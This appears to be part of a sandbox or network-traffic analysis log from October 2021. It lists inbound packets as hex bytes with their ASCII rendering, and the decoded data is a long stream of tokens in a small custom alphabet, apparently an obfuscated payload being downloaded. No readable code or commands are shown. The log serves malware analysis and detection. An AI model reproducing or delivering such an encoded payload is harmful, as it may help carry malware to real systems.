2021-10-29 18:30:02 UTC	1715	IN	Data Raw: 20 59 78 20 59 4b 20 6f 78 52 20 4f 4f 6f 20 4f 4f 74 20 4f 78 51 20 4f 74 51 20 4b 6b 20 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20 4b 6b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 6f 4b 45 20 4b 6b 20 59 4b 20 6b 4b 20 4f 52 4f 20 4f 4f 51 20 4f 78 51 20 4f 4f 6f 20 59 52 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4b 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 6b 78 20 4f 4f 4b 20 59 78 20 4b 6b 20 6f 45 74 20 59 6f 20 6b 4b 20 4f 4f 4b 20 4f 4f 6b 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 6b 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 78 59 20 4f 4f 6f 20 4f 6f 45 20 4b 51 20 59 78 20 59 Data Ascii: Yx YK oxR OOo OOt OxQ OtQ Kk Kk Yx YE kK OOK OOt Qk OOo Yx KQ Kk YK kK OOK OxO OxQ OOo Yx oKE Kk YK kK ORO OOQ OxQ OOo YR Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx Kk kK OOK OOt Okx OOK Yx Kk oEt Yo kK OOK OOk OxQ OOo Yx Yk Yx YK kY OxY RQ OxY OOo OoE KQ Yx Y
2021-10-29 18:30:02 UTC	1716	IN	Data Raw: 20 51 59 20 59 74 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 52 51 20 4f 6f 4b 20 4f 4f 74 20 45 4f 20 45 6f 20 59 45 20 45 51 20 6b 78 20 4f 4f 45 20 4f 4f 45 20 52 51 20 6f 6f 4b 20 59 78 20 4b 6b 20 59 6f 20 45 78 20 52 52 20 4f 4f 4b 20 4f 4f 74 20 74 78 20 4f 6f 45 20 59 51 20 51 59 20 52 6f 20 59 4b 20 6b 4b 20 4f 6f 78 20 6b 6b 20 6f 59 59 20 4f 74 4b 20 59 52 20 59 74 20 45 78 20 4b 6b 20 51 45 20 6f 51 20 4f 6f 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 45 52 20 6f 45 52 20 59 45 20 4f 4f 4b 20 4f 74 6f 20 4f 4f 74 20 4f 78 59 20 51 51 20 59 6b 20 45 6b 20 45 45 20 52 45 20 4f 6f 74 20 6b 45 20 4f 78 78 20 4f 78 4f 20 51 74 20 59 51 20 4f 74 78 20 45 45 20 52 78 20 6b 45 20 4f 4f 6f 20 4f 78 78 20 4f 78 45 20 6b 6b 20 6f 45 45 20 4b 6b 20 59 78 20 52 78 Data Ascii: QY Yt YK kK Oox ORQ OoK OOt EO Eo YE EQ kx OOE OOE RQ ooK Yx Kk Yo Ex RR OOK OOt tx OoE YQ QY Ro YK kK Oox kk oYY OtK YR Yt Ex Kk QE oQ OoR OxQ OOo YR oER oER YE OOK Oto OOt OxY QQ Yk Ek EE RE Oot kE Oxx OxO Qt YQ Otx EE Rx kE OOo Oxx OxE kk oEE Kk Yx Rx
2021-10-29 18:30:02 UTC	1720	IN	Data Raw: 52 20 51 78 20 6b 4b 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 4f 20 74 52 20 4b 78 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 6f 52 20 4f 4f 52 20 74 52 20 4b 52 20 59 78 20 59 4b 20 51 4b 20 51 74 20 4f 4f 6f 20 4f 78 78 20 45 20 4f 52 20 4b 6b 20 59 78 20 52 78 20 4f 6f 4b 20 6b 4f 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 51 45 20 6f 78 20 59 78 20 59 4b 20 51 4b 20 51 74 20 4f 4f 45 20 4f 6f 4b 20 4f 4f 52 20 4b 59 20 52 45 20 4f 51 4f 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 74 6f 20 4f 52 78 20 6f 4f 59 20 4b 6b 20 59 78 20 59 78 20 4f 6f 4b 20 52 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 59 20 6b 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 6b 78 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 6b 20 4b 78 20 4b 78 20 6f 4f 74 20 4b 78 20 4f 4f 74 20 4f 78 51 20 Data Ascii: R Qx kK OxQ OOo YR RO tR Kx kK OOK Oot OoR OOR tR KR Yx YK QK Qt OOo Oxx E OR Kk Yx Rx OoK kO OOt OxQ Ooo QE ox Yx YK QK Qt OOE OoK OOR KY RE OQO Oxk kK OOK OOR to ORx oOY Kk Yx Yx OoK RQ OOt OxQ Ooo RY k Yx YK QK oQ kx OxQ OOo YR ok Kx Kx oOt Kx OOt OxQ
2021-10-29 18:30:02 UTC	1724	IN	Data Raw: 78 51 20 4f 4f 6f 20 59 52 20 4f 78 20 6f 4f 45 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78 52 20 4f 4f 51 20 6b 6b 20 51 52 20 4b 6b 20 59 78 20 52 78 20 74 59 20 4f 78 4f 20 6f 4b 6b 20 59 59 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 6f 45 78 20 4f 45 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 6b 6b 20 59 20 4b 6b 20 59 78 20 52 78 20 45 51 20 74 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 6f 74 20 59 78 20 59 4b 20 51 4b 20 51 74 20 4f 6f 59 20 4f 78 74 20 45 20 4f 51 51 20 4b 6b 20 59 78 20 4b 6b 20 74 4f 20 4f 4f 6b 20 4f 78 78 20 4f 78 59 20 51 6b 20 59 4f 20 6f 4b 20 6f 4f 51 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 45 4f 20 4f 4f 6f 20 59 78 20 59 4b 20 45 59 20 59 78 20 52 74 20 6f 59 59 20 4b 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 6f 4f 20 Data Ascii: xQ OOo YR Ox oOE YK kK OOK OxR OOQ kk QR Kk Yx Rx tY OxO oKk YY OOo Yx KQ oE oEx OEx OOK OOt OxY kk Y Kk Yx Rx EQ tK OOt OxQ Ooo oR ot Yx YK QK Qt OoY Oxt E OQQ Kk Yx Kk tO OOk Oxx OxY Qk YO oK oOQ YK kK Oox oR OEO OOo Yx YK EY Yx Rt oYY Kt OxQ OOo YO oO
2021-10-29 18:30:02 UTC	1728	IN	Data Raw: 4f 4b 20 4f 4f 59 20 74 6f 20 6f 20 74 78 20 59 74 20 59 78 20 74 78 20 4f 6f 4b 20 4f 74 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 4b 20 4f 6f 4f 20 59 52 20 59 4b 20 45 52 20 4f 6f 20 4f 78 74 20 4f 78 51 20 4f 4f 6f 20 59 52 20 51 59 20 4b 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 74 20 4f 6b 20 4f 6f 6f 20 59 78 20 52 4b 20 52 4b 20 4f 59 45 20 51 4b 20 4f 4f 4b 20 59 20 4f 51 20 4f 4f 78 20 59 78 20 4b 6b 20 59 52 20 45 78 20 74 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6b 6b 20 4f 4f 20 4b 6b 20 59 78 20 52 78 20 59 51 20 4f 45 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 45 20 52 52 20 4f 4b 4f 20 52 78 20 6b 4b 20 6f 20 74 20 4f 6f 52 20 4f 6f 45 20 59 78 20 52 4b 20 74 52 20 4b 78 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 4f 4f 4f 20 59 78 20 4b 6b Data Ascii: OK OOY to o tx Yt Yx tx OoK Ot OOt OxQ Ooo RK OoO YR YK ER Oo Oxt OxQ OOo YR QY KY YK kK Oox t Ok Ooo Yx RK RK OYE QK OOK Y OQ OOx Yx Kk YR Ex tY OOK OOt OxE kk OO Kk Yx Rx YQ OEx OOt OxQ OOk oE RR OKO Rx kK o t OoR OoE Yx RK tR Kx kK OOK Oot RQ OOO Yx Kk
2021-10-29 18:30:02 UTC	1732	IN	Data Raw: 4f 6f 78 20 4f 78 78 20 51 6b 20 6f 59 59 20 6f 6b 20 4b 6b 20 59 78 20 59 6f 20 4b 74 20 6b 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 51 4f 20 51 59 20 4f 51 6f 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 4f 59 20 6b 59 20 6f 6f 52 20 59 78 20 4b 6b 20 59 78 20 59 6f 20 4b 74 20 4f 78 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 59 45 20 59 52 20 4f 78 52 20 4f 6b 59 20 4f 78 78 20 4f 4f 4b 20 4f 4f 74 20 4f 4f 4f 20 4f 4f 20 6f 74 20 4b 6b 20 59 78 20 59 78 20 52 51 20 4f 6f 59 20 4f 78 52 20 51 74 20 6f 59 45 20 4f 78 4b 20 4b 6b 20 59 78 20 59 59 20 4f 4f 45 20 4f 52 6f 20 4f 45 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4b 20 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 52 20 6b 6b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 4f Data Ascii: Oox Oxx Qk oYY ok Kk Yx Yo Kt kR OOt OxQ OOR QO QY OQo YK kK Oox oOY kY ooR Yx Kk Yx Yo Kt Oxo OOt OxQ OOR YE YR OxR OkY Oxx OOK OOt OOO OO ot Kk Yx Yx RQ OoY OxR Qt oYE OxK Kk Yx YY OOE ORo OEY OxQ OOo YK oK Y YK kK Oox R kY OOo Yx Yk oR kk kK OOK Oot OO
2021-10-29 18:30:02 UTC	1736	IN	Data Raw: 4f 51 6f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 51 45 20 51 78 20 4f 4f 6f 20 59 78 20 59 6b 20 52 59 20 4f 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 45 78 20 59 78 20 4b 6b 20 59 52 20 59 6f 20 4b 74 20 51 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 45 59 20 59 6b 20 45 59 20 59 51 20 4f 6f 20 51 51 20 4f 6f 45 20 4f 6f 45 20 6f 45 78 20 4f 78 52 20 45 45 20 52 78 20 45 45 20 4f 51 4b 20 4b 6f 20 4f 78 78 20 51 51 20 4f 78 4b 20 4f 52 4b 20 4f 78 4b 20 45 59 20 59 52 20 74 74 20 6f 6f 6b 20 4b 59 20 4b 20 51 74 20 52 78 20 4b 6f 20 4f 52 4b 20 51 59 20 59 51 20 4f 6f 6b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 74 51 20 6f 4b 20 59 78 20 59 4b 20 6b 78 20 74 4b 20 6f 45 59 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 78 20 74 45 20 59 74 20 6b 4b 20 4f 4f 4b 20 4f Data Ascii: OQo YK kK OOk QE Qx OOo Yx Yk RY OK kK OOK Oot RQ Ex Yx Kk YR Yo Kt Qk OOt OxQ OOR EY Yk EY YQ Oo QQ OoE OoE oEx OxR EE Rx EE OQK Ko Oxx QQ OxK ORK OxK EY YR tt ook KY K Qt Rx Ko ORK QY YQ Ook OOt OxQ Ooo tQ oK Yx YK kx tK oEY OxQ OOo Yx Yx tE Yt kK OOK O
2021-10-29 18:30:02 UTC	1740	IN	Data Raw: 4f 4f 4b 20 4f 4f 52 20 4f 4f 59 20 4f 4f 4b 20 6f 52 20 6b 6f 20 59 78 20 59 4b 20 51 4b 20 6b 6b 20 51 51 20 4f 4f 78 20 4f 78 4b 20 6f 78 4b 20 4b 51 20 6f 4b 20 59 4b 20 6b 4b 20 4f 78 59 20 52 51 20 4f 78 4b 20 4f 4f 6f 20 52 74 20 4b 6b 20 59 78 20 59 4b 20 4f 4f 4f 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 4f 4f 59 20 51 45 20 4f 59 45 20 59 4f 20 59 4b 20 6b 6f 20 4f 78 4f 20 6f 4b 6b 20 59 45 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 45 6f 20 45 6b 20 4f 74 6f 20 4f 4f 4b 20 4f 78 51 20 78 20 4f 4b 4b 20 45 51 20 51 45 20 4f 6f 78 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 45 20 45 20 59 4f 20 4b 51 20 59 78 20 52 78 20 6b 6f 20 4f 78 78 20 6f 45 51 20 4f 78 74 20 4f 78 45 20 4f 52 6b 20 6f 4b 20 6b 4f 20 59 4b 20 6b 4b 20 4f 6f 78 20 51 45 20 4f 4f Data Ascii: OOK OOR OOY OOK oR ko Yx YK QK kk QQ OOx OxK oxK KQ oK YK kK OxY RQ OxK OOo Rt Kk Yx YK OOO OOK OOt OoK OOY QE OYE YO YK ko OxO oKk YE OOo Yx KQ oE Eo Ek Oto OOK OxQ x OKK EQ QE Oox kK OOK Oot OxE E YO KQ Yx Rx ko Oxx oEQ Oxt OxE ORk oK kO YK kK Oox QE OO
2021-10-29 18:30:02 UTC	1744	IN	Data Raw: 78 51 20 51 4f 20 6f 45 20 6f 51 20 52 6f 20 4f 52 20 74 78 20 4f 4f 6f 20 4f 45 51 20 4f 6f 78 20 52 74 20 59 78 20 4b 6b 20 4b 4f 20 52 6f 20 4f 6f 74 20 59 51 20 4f 4f 20 4f 6f 45 20 4f 4f 45 20 59 78 20 59 6f 20 6f 45 20 6f 74 20 52 74 20 6b 4b 20 4f 4f 20 4f 6f 4f 20 4f 4f 45 20 59 78 20 59 6f 20 6f 78 4b 20 4b 6b 20 74 6f 20 4f 4f 6f 20 4f 4f 74 20 4f 78 74 20 45 20 4b 4f 20 4b 51 20 59 78 20 52 78 20 4f 4f 45 20 6f 4b 6f 20 51 51 20 4f 78 6b 20 4f 4f 6f 20 59 4b 20 6f 4b 20 4b 59 20 59 4b 20 6b 4b 20 6b 51 20 6b 78 20 52 4b 20 4f 6f 4b 20 6f 78 20 45 4b 20 4b 6b 20 6f 78 78 20 52 59 20 52 59 20 4f 4f 74 20 4f 78 51 20 4f 78 74 20 59 6b 20 6f 74 20 45 52 20 4b 6b 20 4f 74 78 20 4f 4f 52 20 4f 78 51 20 4f 4f 4f 20 4f 4f 6f 20 59 6f 20 52 74 20 4b 74 Data Ascii: xQ QO oE oQ Ro OR tx OOo OEQ Oox Rt Yx Kk KO Ro Oot YQ OO OoE OOE Yx Yo oE ot Rt kK OO OoO OOE Yx Yo oxK Kk to OOo OOt Oxt E KO KQ Yx Rx OOE oKo QQ Oxk OOo YK oK KY YK kK kQ kx RK OoK ox EK Kk oxx RY RY OOt OxQ Oxt Yk ot ER Kk Otx OOR OxQ OOO OOo Yo Rt Kt
2021-10-29 18:30:02 UTC	1748	IN	Data Raw: 20 45 52 20 6f 52 20 4f 45 6b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 78 74 20 6b 59 20 45 74 20 45 51 20 45 6b 20 45 78 20 6f 45 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6f 4f 78 20 6f 45 20 4b 78 20 45 74 20 45 4b 20 4f 6f 4b 20 6f 78 52 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4f 4b 4b 20 6f 4f 20 4b 45 20 45 6f 20 52 4b 20 51 78 20 6f 78 4f 20 4f 78 51 20 4f 4f 6f 20 59 52 20 4f 4b 52 20 6f 52 20 4f 45 51 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 4b 51 20 59 4f 20 4b 6b 20 59 52 20 4f 6b 6f 20 74 45 20 4f 4f 59 20 4f 4f 74 20 4f 78 59 20 4f 4b 20 4b 74 20 4b 51 20 59 78 20 59 78 20 4b 74 20 4b 6b 20 4f 4f 52 20 4f 78 51 20 4f 6f 6f 20 74 52 20 4b 59 20 59 4f 20 59 4b 20 6b 78 20 4f 6f 6f 20 51 51 20 4f 6f 45 20 45 20 4f 4f 45 20 4b 51 20 59 78 20 52 Data Ascii: ER oR OEk kK OOK Oot oxt kY Et EQ Ek Ex oEo OOK OOt OxE oOx oE Kx Et EK OoK oxR OOt OxQ Ooo OKK oO KE Eo RK Qx oxO OxQ OOo YR OKR oR OEQ kK OOK Oot RQ KQ YO Kk YR Oko tE OOY OOt OxY OK Kt KQ Yx Yx Kt Kk OOR OxQ Ooo tR KY YO YK kx Ooo QQ OoE E OOE KQ Yx R
2021-10-29 18:30:02 UTC	1752	IN	Data Raw: 4b 20 4f 4f 4b 20 74 6f 20 4f 78 51 20 59 78 20 74 74 20 4b 6b 20 4b 51 20 52 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 4f 4f 20 4f 4f 6f 20 6f 6b 20 4b 6b 20 4f 78 6b 20 4f 6b 52 20 6b 4b 20 4f 6f 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 78 20 59 78 20 4f 74 20 6b 4b 20 45 20 6f 45 74 20 4f 78 51 20 4f 6f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 52 20 4f 4f 4b 20 6b 59 20 4f 78 51 20 6f 4b 4b 20 4f 59 78 20 4b 6b 20 59 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4b 6b 20 4f 59 6f 20 4f 45 4b 20 6b 4b 20 4f 4f 45 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 4b 45 20 6f 20 59 4f 20 6b 4b 20 4f 52 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 6f 4f 20 4b 6b 20 59 78 20 45 51 20 45 51 20 6f 4f 52 20 4f Data Ascii: K OOK to OxQ Yx tt Kk KQ Rx kK OOK OOR OOO OOo ok Kk Oxk OkR kK Oox OOt OxQ OOo Yx Yx Yx Ot kK E oEt OxQ Ooo Yx Kk Yx YK kR OOK kY OxQ oKK OYx Kk YR YK kK OOK OOt OxQ OOo Yo Kk OYo OEK kK OOE Oot OxQ OOo YO KE o YO kK ORY OOt OxQ OOo OoO Kk Yx EQ EQ oOR O
2021-10-29 18:30:02 UTC	1756	IN	Data Raw: 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4b 6b 20 59 78 20 4f 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 52 4b 20 4f 4f 45 20 59 78 20 4b 6b 20 6b 4b 20 59 59 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4b 6b 20 59 78 20 59 4b 20 59 52 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 6f 20 59 4f 20 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 4f 4f 6f 20 59 78 20 4b 51 20 4b 4f 20 52 20 6b 4f 20 4f 4f 4b 20 6f 4b 78 20 4f 4f 4f 20 4f 4f 6f 20 59 78 20 4f 6f 74 20 59 78 20 59 4b 20 52 51 20 4f 20 6f 4f 78 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 6b 20 4f 6b 20 4f 6b 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f Data Ascii: K OOK OOt OxQ OOK Yx Kk Yx OY kK OOK OOt RK OOE Yx Kk kK YY kK OOK Oot OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yo Kk Yx YK YR OOY OOt OxQ o YO Kk Yx YE kK OOK OOt OxE OOo Yx KQ KO R kO OOK oKx OOO OOo Yx Oot Yx YK RQ O oOx OxQ OOo YR Yk Ok Okt kK OOK OOt o
2021-10-29 18:30:02 UTC	1760	IN	Data Raw: 78 6b 20 4f 4f 6f 20 59 52 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 6f 20 4f 4f 74 20 45 52 20 4f 4f 6f 20 4f 74 6b 20 6f 4b 51 20 59 78 20 52 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 4f 4b 20 59 78 20 4f 52 59 20 4f 6f 51 20 4f 4f 4b 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 6f 20 4f 4f 4b 20 4f 74 4b 20 4f 4b 78 20 4f 4f 6f 20 4b 51 20 59 6b 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 78 4b 20 4f 4f 6f 20 4f 78 6b 20 4b 51 20 59 78 20 59 4b 20 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 45 20 4f 4b 51 20 4b 6b 20 59 78 20 52 78 20 51 4b 20 4f 78 51 20 74 78 20 6f 6f 4b 20 4b 6f 20 59 78 20 4b 6b 20 59 4f 20 4f 51 20 4f 45 6f 20 4f 52 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 Data Ascii: xk OOo YR Kk Yx YK kK OOo OOt ER OOo Otk oKQ Yx Rx kK OOK OOt OxQ OOK Yx OOK Yx ORY OoQ OOK Oot OxQ OOo Yx Kk Yx YK ko OOK OtK OKx OOo KQ Yk Yx YK kY OxY RQ OxK OOo Oxk KQ Yx YK K OOK OOt OoK E OKQ Kk Yx Rx QK OxQ tx ooK Ko Yx Kk YO OQ OEo ORY OOt OxQ OOR
2021-10-29 18:30:02 UTC	1764	IN	Data Raw: 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 6b 6b 20 4f 4f 6f 20 59 78 20 59 6b 20 59 6f 20 4b 4f 20 51 78 20 6f 59 59 20 4b 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 6f 4f 20 6f 6f 52 20 6f 4b 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 52 51 20 74 4f 20 59 78 20 4b 6b 20 59 52 20 52 51 20 4f 78 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 45 4f 20 6f 6f 74 20 4b 6b 20 59 78 20 52 78 20 45 51 20 6f 4f 45 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 59 74 20 59 45 20 45 78 20 52 6f 20 6b 4f 20 6f 59 6f 20 6b 51 20 4f 78 59 20 4f 4f 52 20 4b 51 20 4f 20 4b 6b 20 4b 51 20 4f 6f 52 20 4f 4f 4b 20 4f 4f 51 20 52 51 20 4f 52 6f 20 59 78 20 4b 6b 20 59 52 20 59 6b 20 52 52 20 4f 6f 74 20 74 74 20 4f 6f 4b 20 4f 4f 45 20 59 78 20 4b 6b 20 59 6b 20 52 Data Ascii: YR Rt Ox YK kK Oox oR Okk OOo Yx Yk Yo KO Qx oYY Kt OxQ OOo YO oO ooR oKY kK OOK OOE RQ tO Yx Kk YR RQ Oxk OOK OOt OxE EO oot Kk Yx Rx EQ oOE OOt OxQ Ooo Yt YE Ex Ro kO oYo kQ OxY OOR KQ O Kk KQ OoR OOK OOQ RQ ORo Yx Kk YR Yk RR Oot tt OoK OOE Yx Kk Yk R
2021-10-29 18:30:02 UTC	1768	IN	Data Raw: 4f 4f 6f 20 59 78 20 59 6f 20 6f 4b 20 6f 78 20 6b 52 20 4f 4f 45 20 6b 20 51 4b 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 4b 20 4b 78 20 6b 52 20 51 20 52 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4f 52 20 59 6f 20 6b 74 20 4f 59 20 52 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4b 4b 20 59 6f 20 4b 74 20 74 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4f 6b 20 4b 6b 20 59 45 20 4b 4f 20 74 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4b 52 20 4b 6b 20 74 74 20 51 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4f 52 20 59 78 20 4b 51 20 74 59 20 51 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4b 4b 20 59 78 20 74 45 20 4f 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 74 4f 20 6b 6f 20 4b 6b 20 59 4f 20 74 51 20 4f 20 6b 4b 20 4f 4f 4b 20 Data Ascii: OOo Yx Yo oK ox kR OOE k QK OOo Yx Yo oK Kx kR Q RY OxQ OOo YK oR OR Yo kt OY RY OxQ OOo YK oR KK Yo Kt tO OOt OxQ OOR oK Ok Kk YE KO tO OOt OxQ OOR oK KR Kk tt Qk OOK OOt OxY Qx OR Yx KQ tY Qk OOK OOt OxY Qx KK Yx tE O kK OOK OOE tO ko Kk YO tQ O kK OOK
2021-10-29 18:30:02 UTC	1772	IN	Data Raw: 59 4b 20 6b 78 20 4f 4f 6f 20 51 45 20 4f 59 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 4b 20 4b 78 20 6b 52 20 51 20 51 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4f 52 20 59 6f 20 6b 74 20 4f 59 20 51 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4b 4b 20 59 6f 20 4b 74 20 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4f 6b 20 4b 6b 20 59 45 20 4b 4f 20 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4b 52 20 4b 6b 20 74 74 20 4b 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4f 52 20 59 78 20 4b 51 20 74 59 20 4b 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4b 4b 20 59 78 20 6f 52 20 6b 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 74 4f 20 4f 4f 78 20 4b 6b 20 74 59 20 74 74 20 59 4b 20 6b 4b 20 4f 4f 6b 20 51 59 20 74 51 20 4f 4f 4b 20 4b Data Ascii: YK kx OOo QE OY OOo Yx Yk oK Kx kR Q Q OxQ OOo YK oR OR Yo kt OY Q OxQ OOo YK oR KK Yo Kt OY OOt OxQ OOR oK Ok Kk YE KO OY OOt OxQ OOR oK KR Kk tt Ko OOK OOt OxY Qx OR Yx KQ tY Ko OOK OOt OxY Qx KK Yx oR kK kK OOK Oot tO OOx Kk tY tt YK kK OOk QY tQ OOK K
2021-10-29 18:30:02 UTC	1776	IN	Data Raw: 74 20 59 45 20 51 59 20 59 74 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 52 51 20 4f 74 51 20 4f 4f 59 20 6f 78 20 6f 45 6b 20 59 78 20 45 52 20 6b 52 20 51 78 20 6f 4f 59 20 4f 78 6b 20 4f 4f 6f 20 59 52 20 4f 78 20 4f 6f 78 20 6f 78 4f 20 4f 74 4f 20 4f 4b 4f 20 4f 74 4f 20 51 51 20 51 6b 20 4b 6b 20 6f 78 52 20 45 52 20 4f 4f 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 78 20 6f 20 4f 6f 45 20 59 78 20 4b 6b 20 59 52 20 6f 45 4b 20 6b 52 20 4f 20 6f 45 6b 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 45 59 20 59 6b 20 45 51 20 51 6f 20 51 78 20 51 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 59 20 51 45 20 4f 74 74 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 20 78 20 59 78 20 4b 6b 20 59 52 20 6b 51 20 6f 4b 52 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 74 20 59 6b 20 4b 74 20 6f 78 20 4f 6b Data Ascii: t YE QY Yt YK kK Oox ORQ OtQ OOY ox oEk Yx ER kR Qx oOY Oxk OOo YR Ox Oox oxO OtO OKO OtO QQ Qk Kk oxR ER OOK kK OOK OOx o OoE Yx Kk YR oEK kR O oEk Oxk OOo Yo EY Yk EQ Qo Qx Q OxQ OOo YR YY QE Ott kK OOK Oot o x Yx Kk YR kQ oKR OOY OOt Oxt Qt Yk Kt ox Ok
2021-10-29 18:30:02 UTC	1780	IN	Data Raw: 20 4f 51 45 20 4f 4f 51 20 4f 4f 6b 20 59 78 20 45 78 20 59 4b 20 4f 45 78 20 74 6b 20 4f 4f 52 20 4f 4f 74 20 74 74 20 4f 4f 52 20 4f 45 4b 20 4b 6f 20 6f 51 20 59 4b 20 6f 4f 59 20 74 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 59 78 20 6f 59 4f 20 6f 51 20 51 45 20 4f 6f 78 20 4f 4f 52 20 4f 4f 74 20 74 51 20 6b 6f 20 6b 51 20 6f 6b 20 59 6f 20 59 4b 20 4f 45 4b 20 4f 4f 45 20 45 78 20 52 59 20 4f 4f 6b 20 59 78 20 4f 4b 78 20 59 6f 20 51 45 20 4f 6f 78 20 4f 4f 52 20 4f 4f 74 20 6f 6f 20 6b 59 20 4f 4b 51 20 59 20 52 78 20 59 4b 20 6f 6f 4b 20 52 74 20 4f 74 